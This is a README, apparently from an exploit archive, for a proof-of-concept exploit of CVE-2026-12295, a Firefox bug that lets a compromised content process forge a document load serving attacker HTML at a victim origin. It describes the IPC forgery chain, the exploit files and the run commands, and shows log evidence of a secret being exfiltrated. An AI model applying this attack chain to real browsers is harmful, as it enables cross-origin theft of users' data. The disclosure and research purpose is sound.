Sploitus

Exploit for Improper Isolation or Compartmentalization in Mozilla Firefox

githubexploit Β· 2026-08-25

Exploit Code

README84 lines
## https://sploitus.com/exploit?id=8AB5E65D-85C5-55D2-B04E-8D38F9802187
# CVE-2026-12295 β€” srcdoc data on a non-about:srcdoc URI (Firefox UXSS)

Proof of concept: a compromised content process forges a `PDocumentChannel` load
whose `nsDocShellLoadState` carries `SrcdocData` together with an arbitrary
`URI`. Vulnerable builds serve the attacker HTML as the document **at the victim
origin** β€” same-origin read + exfiltration (UXSS).

Target: Firefox 149.0a1 nightly @ `2fbc0748c4` (vulnerable, pre-fix), macOS arm64.
Fixed in Firefox 152 β€” bug 2040160, commit `54dc16d08771` "Reject srcdoc data on
non-about:srcdoc URI loads".

## The bug

The parent process deserializes a `nsDocShellLoadState` from content→parent IPDL
messages. The vulnerable ctor only rejected `javascript:` for content-triggered
loads; `SrcdocData` was not validated. When a load state carries srcdoc data with
a URI that is not `about:srcdoc`, the docshell builds an input-stream channel
that serves the srcdoc HTML **at that URI** β€” and the resulting document gets the
URI's origin.

The fix adds a `FatalError` in the `nsDocShellLoadState` IPDL ctor when
`!mSrcdocData.IsVoid() && !mURI->SchemeIs("view-source") && !NS_IsAboutSrcdoc(mURI)`,
plus hardening asserts in `nsDocShell` and `Document::StartDocumentLoad`.

Sibling bug: CVE-2026-74939 (`RemoteTypeOverride`) β€” same ctor, same carrier
message, same delivery machinery (see `../poc-cve-2026-74939`). This PoC reuses
that forge with a different field flipped; no `RemoteTypeOverride` needed.

## The demo

- Attacker page `srcdoc.html` at `http://127.0.0.1:8778` (origin A, compromised
  via the stage-1 wasm primitives in `wasm-bytes.js`).
- It forges a `PNecko::PDocumentChannel` ctor: `URI = http://localhost:8778/nav.html`
  (origin B), `SrcdocData = `, top-level `BrowsingContext` of a
  same-process `about:blank` popup β€” delivered through the real mojo send path
  (`operator new` β†’ `IPC::Message` ctor β†’ `Pickle::WriteBytes` β†’
  `MessageChannel::Send`).
- The parent accepts the load, process-switches the popup to
  `webIsolated=http://localhost`, and the docshell serves **our** HTML as the
  document at origin B.
- Payload fetches `/secret.txt` (same-origin on B β€” a real cross-origin fetch
  from A would be CORS-blocked) and exfiltrates it to A.

Evidence (`/tmp/srv.log` after `./irun`):

```
REQ_GET /secret.txt
REQ_GET /exfil?d=flag%7Bsrcdoc-crossed-origins-2040160%7D
```

## Files

| File | Purpose |
| ---- | ------- |
| `srcdoc.html` | PoC page, run inside the compromised content process |
| `forge.py` | builds the forged message (self-verifying) β†’ `forge.bin`/`forge.json` |
| `wasm-bytes.js` | stage-1 primitives: arb R/W, funcref calls (CVE-2026-2796) |
| `mdrive2.py` | marionette harness to launch and drive Nightly |
| `irun` | instrumented run: lldb attach to parent + MOZ_LOG/srv.log evidence |
| `profile.user.js` | Firefox profile prefs (fission on, dump enabled) |
| `parse_dc.py` | byte-exact parser for captured DocumentChannel messages |
| `captured-messages/dc_1.bin` | real captured message, used as the forge template |
| `nav.html`, `secret.txt` | victim-page fixture + secret for the demo |

## Run

Prerequisites: vulnerable Nightly build at `/Users/sid/gecko-2766/obj-browser`,
`.venv` with psutil, and a web server on `0.0.0.0:8778` serving this directory
(e.g. `python3 /tmp/srv.py`, logging to `/tmp/srv.log`).

```
python3 forge.py     # build forge.bin/forge.json (self-verifying)
./irun               # launch + inject + collect evidence
```

Note: a content process may SIGSEGV on teardown after the send (GC over the fake
objects); all evidence is emitted before that.

## References

- Mozilla bug 2040160 β€” fix commit `54dc16d08771` (MFSA 2026-57, Firefox 152)
- CVE-2026-74939 β€” sibling load-state forge (`RemoteTypeOverride`)
- CVE-2026-2796 β€” stage-1 content RCE providing the primitives